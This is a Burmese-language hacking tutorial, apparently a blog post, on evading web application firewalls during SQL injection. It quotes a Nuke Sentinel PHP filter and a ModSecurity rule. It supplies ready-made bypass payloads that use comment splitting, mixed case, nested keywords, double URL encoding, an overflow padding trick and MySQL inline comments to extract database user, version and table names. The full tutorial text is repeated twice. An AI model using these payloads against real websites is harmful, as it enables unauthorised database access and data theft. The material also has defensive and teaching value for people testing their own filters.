SQL Filter Evasion part 2 [tuto]
Method #2 Normally Bypassing Techniques
ဒါလည္း WAF ေက်ာ္တဲ့ နည္းတစ္ခုပါဘဲ part 1 တုန္းကလို
ေတာ့မဟုုတ္ဘူး ဒီမွာ က obfusication ကိုအဓိကသံုးတာေပါ့
WAF ဆိုတာက Web Application Firewall ပါ WAF is an appliance,server plugin, or filter
ေယဘူယ်အားျဖင့္ နာမည္ႀကီး Attack ေတြျဖစ္တဲ့ XSS တို႕ SQLi တို႕ကို
covers လုပ္တယ္ဆိုပါေတာ့ တခ်ိဳ႕က်ေတာ့လည္း Deep Packet Inspection Firewall လို႕ေခၚတယ္
ဘာလို႕လည္းဆိုေတာ့ HTTP/HTTPS/SOAP/XML-RPC/Web service lacers စတဲ့ Request ေတြ
response ေတြကိုေစာင့္ၾကည့္ေနရလို႕ပါတဲ့
ကဲ ေဖာတာမ်ားသြားျပန္ၿပီ Obfusicate လုပ္ပီး bypass လုပ္တဲ့ အေၾကာင္းေလး
စေဖာေတာ့မယ္
[001].Bypass with comments
WAF filter လုပ္ထားတာ ေတာ္ေတာ္မ်ားမ်ားကို SQL comments နဲ႕ bypass လုပ္လို႕ရနုိင္တယ္
bypass: id=1+un/**/ion+se/**/lect+1,2,3--
[002].Case Changing
တခ်ိုဳ႕ WAF ေတြမွာ lower case ေတြကိုဘဲ filter လုပ္ထားတယ္
Filter: /union\sselect/g
Bypass: id=1+UnIoN/**/SeLecT/**/1,2,3--
[003].Replaced Keywords
တခ်ိဳ႕ WAF ေတြမွာ preg_replace ဆိုတဲ့ဟာကို သံုးပီး SQL keyword ေတြကို filter လုပ္ထားတယ္
ဒါဆိုလြယ္ပါတယ္ ေအာက္ကလို bypass လုပ္လိုက္မယ္
Bypass : id=1+UNunionION+SEselectLECT+1,2,3--
ေနာက္တမ်ိဳးက SQL keyword ေတြကို filter လုပ္ၿပီး white space ေတြကို
replace လုပ္တယ္ ဒီေတာ့
Bypass : id=1+uni%0bon+se%0blect+1,2,3--
ေနာက္တစ္ခု Mod_rewrite မွာ /**/ ကိုသံုးလို႕မရဘူး ဒီေတာ့ %0b ကိုသံုးမယ္
[004].Chacter Encoding
/**/union/* /select/**/1,2,3/**/from/**/users--
အဲဒါကို က်ေနာ္ တို႕ Encode လုပ္လိုက္ေတာ့
%252f%252a%252a%252funion%252f%252a%2520%252fselect%252f%252a%252a%252f1%252C2%252C3%252f%252a%252a%252ffrom%252f%252a%252a%252fusers--
ဒီလိုရသြားမယ္
Example:
1#Nuke Sentinel (Nuke Evolution)
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
အေပၚကသူ႕ရဲ႕ php code
ၤfilter: /**/union/**/select
Bypass: /%2A%2A/union/%2a%2a/select
Bypass : %2f**%2funion%2f**%2fselect
2#Mod Security CRS (credit : Johannes Dahse)
[SecRule]--------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
[End Rule]-------------------------------------------------------------------------
ေအာက္က keyword နဲ႕ bypass လုပ္လို႕ရမယ္
bypass : id=0+div+1+union%23foo*%2f*bar%0D%0Aselect%23foo%0D0A%2C2%2Current_user
နည္းနည္းရွုပ္သြားမယ္ ထင္တယ္ က်ေနာ္ နားလည္သေလာက္ျပန္ရွင္းေပးမယ္
%0D%0A ကို new line character အတြက္သံုးထားတာပါ။
0 div 1 union#foo*/*/bar
select#foo
1,2,current_user
ဒီမွာ #,/,* တို႕ကို encode လုပ္ထားတယ္
ေနာက္ဆံုး execute လုပ္တဲ့ payload က ေအာက္ကလိုိျဖစ္သြားမယ္
0 div 1 union select 1,2,current_user
[005].Buffer Overflow
WAF ဟာ တကယ္လို႕ C programming Language နဲ႕ ေရးထားတာဆိုရင္
buffer overflow ကုိသံုးၿပီး bypass လုပ္လို႕ရနိုင္သတဲ့
Bypass: id=1+and+(select 0x41414141414141414141414141414141414.)+union+select+1,2,version(),database(),user(),6,7,8--
[006].Inline Comments (MySQL only)
Bypass : =/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
Method #2 Normally Bypassing Techniques
ဒါလည္း WAF ေက်ာ္တဲ့ နည္းတစ္ခုပါဘဲ part 1 တုန္းကလို
ေတာ့မဟုုတ္ဘူး ဒီမွာ က obfusication ကိုအဓိကသံုးတာေပါ့
WAF ဆိုတာက Web Application Firewall ပါ WAF is an appliance,server plugin, or filter
ေယဘူယ်အားျဖင့္ နာမည္ႀကီး Attack ေတြျဖစ္တဲ့ XSS တို႕ SQLi တို႕ကို
covers လုပ္တယ္ဆိုပါေတာ့ တခ်ိဳ႕က်ေတာ့လည္း Deep Packet Inspection Firewall လို႕ေခၚတယ္
ဘာလို႕လည္းဆိုေတာ့ HTTP/HTTPS/SOAP/XML-RPC/Web service lacers စတဲ့ Request ေတြ
response ေတြကိုေစာင့္ၾကည့္ေနရလို႕ပါတဲ့
ကဲ ေဖာတာမ်ားသြားျပန္ၿပီ Obfusicate လုပ္ပီး bypass လုပ္တဲ့ အေၾကာင္းေလး
စေဖာေတာ့မယ္
[001].Bypass with comments
WAF filter လုပ္ထားတာ ေတာ္ေတာ္မ်ားမ်ားကို SQL comments နဲ႕ bypass လုပ္လို႕ရနုိင္တယ္
bypass: id=1+un/**/ion+se/**/lect+1,2,3--
[002].Case Changing
တခ်ိုဳ႕ WAF ေတြမွာ lower case ေတြကိုဘဲ filter လုပ္ထားတယ္
Filter: /union\sselect/g
Bypass: id=1+UnIoN/**/SeLecT/**/1,2,3--
[003].Replaced Keywords
တခ်ိဳ႕ WAF ေတြမွာ preg_replace ဆိုတဲ့ဟာကို သံုးပီး SQL keyword ေတြကို filter လုပ္ထားတယ္
ဒါဆိုလြယ္ပါတယ္ ေအာက္ကလို bypass လုပ္လိုက္မယ္
Bypass : id=1+UNunionION+SEselectLECT+1,2,3--
ေနာက္တမ်ိဳးက SQL keyword ေတြကို filter လုပ္ၿပီး white space ေတြကို
replace လုပ္တယ္ ဒီေတာ့
Bypass : id=1+uni%0bon+se%0blect+1,2,3--
ေနာက္တစ္ခု Mod_rewrite မွာ /**/ ကိုသံုးလို႕မရဘူး ဒီေတာ့ %0b ကိုသံုးမယ္
[004].Chacter Encoding
/**/union/* /select/**/1,2,3/**/from/**/users--
အဲဒါကို က်ေနာ္ တို႕ Encode လုပ္လိုက္ေတာ့
%252f%252a%252a%252funion%252f%252a%2520%252fselect%252f%252a%252a%252f1%252C2%252C3%252f%252a%252a%252ffrom%252f%252a%252a%252fusers--
ဒီလိုရသြားမယ္
Example:
1#Nuke Sentinel (Nuke Evolution)
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
အေပၚကသူ႕ရဲ႕ php code
ၤfilter: /**/union/**/select
Bypass: /%2A%2A/union/%2a%2a/select
Bypass : %2f**%2funion%2f**%2fselect
2#Mod Security CRS (credit : Johannes Dahse)
[SecRule]--------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
[End Rule]-------------------------------------------------------------------------
ေအာက္က keyword နဲ႕ bypass လုပ္လို႕ရမယ္
bypass : id=0+div+1+union%23foo*%2f*bar%0D%0Aselect%23foo%0D0A%2C2%2Current_user
နည္းနည္းရွုပ္သြားမယ္ ထင္တယ္ က်ေနာ္ နားလည္သေလာက္ျပန္ရွင္းေပးမယ္
%0D%0A ကို new line character အတြက္သံုးထားတာပါ။
0 div 1 union#foo*/*/bar
select#foo
1,2,current_user
ဒီမွာ #,/,* တို႕ကို encode လုပ္ထားတယ္
ေနာက္ဆံုး execute လုပ္တဲ့ payload က ေအာက္ကလိုိျဖစ္သြားမယ္
0 div 1 union select 1,2,current_user
[005].Buffer Overflow
WAF ဟာ တကယ္လို႕ C programming Language နဲ႕ ေရးထားတာဆိုရင္
buffer overflow ကုိသံုးၿပီး bypass လုပ္လို႕ရနိုင္သတဲ့
Bypass: id=1+and+(select 0x41414141414141414141414141414141414.)+union+select+1,2,version(),database(),user(),6,7,8--
[006].Inline Comments (MySQL only)
Bypass : =/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
![[Image: A0XiLXz.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vcIPMpLDuxLZ0zY6Z4tN1CFHljyeioVVokbRLLUxt7MK7aUoSkwS-qoW2LG0dt-qs0U3VzOatwk-zf3If4zjsnlA=s0-d)
![[Image: kvhQcnq.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vtdpBGNGr9kOWdlGDXUAsgZhYpdKzxkpwoMLQZD3PSiio4Cr9DaDgczt2fAJwLXTqncon16WQrPbfrwqKYmZ0o=s0-d)
![[Image: Ztjz0vy.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t-8Qhbd-cUr8cme0pBklM2_sKrewlDBHaveIYq8hdO4GBKe5qQ2l4XQE7K90cicq6uoBGi3Vhed0Y7cu0-owT8=s0-d)
![[Image: yQfYCOx.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMquY_5p9jbc7d96yyJeqEfdOPy-FzO5alcnTsWASbBU45GrWJiaNzsX6iDvnGO4-IjBKSd9WpJqlkTt6r9d-a=s0-d)
![[Image: DOMWrKN.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_utX4xKsAu4C58v1h_Y3wVRHAFUE9dsVnqlrdYW3puhS0beJD1vODH6_qECDbwxkTUcYApOBYY0YSc6U0SNOM4MPg=s0-d)
![[Image: 0yLStR0.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tuClFNezs5e44eQ0cQPc7YDdZEciZgmqCzlNZiOjXFp8elIl415ZCOv71JxNvHbOd0OA7-XN-kdTtCBatfg86rXA=s0-d)
![[Image: ZyVJ3qs.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_txWp6VNSB9BEB5bA_TnfIpt7_SZj6NZujmyscbR231TRtsrIa7LV_jkEddMw_5COZYMsHV4fN3pubue_Jqz2hdbQ=s0-d)
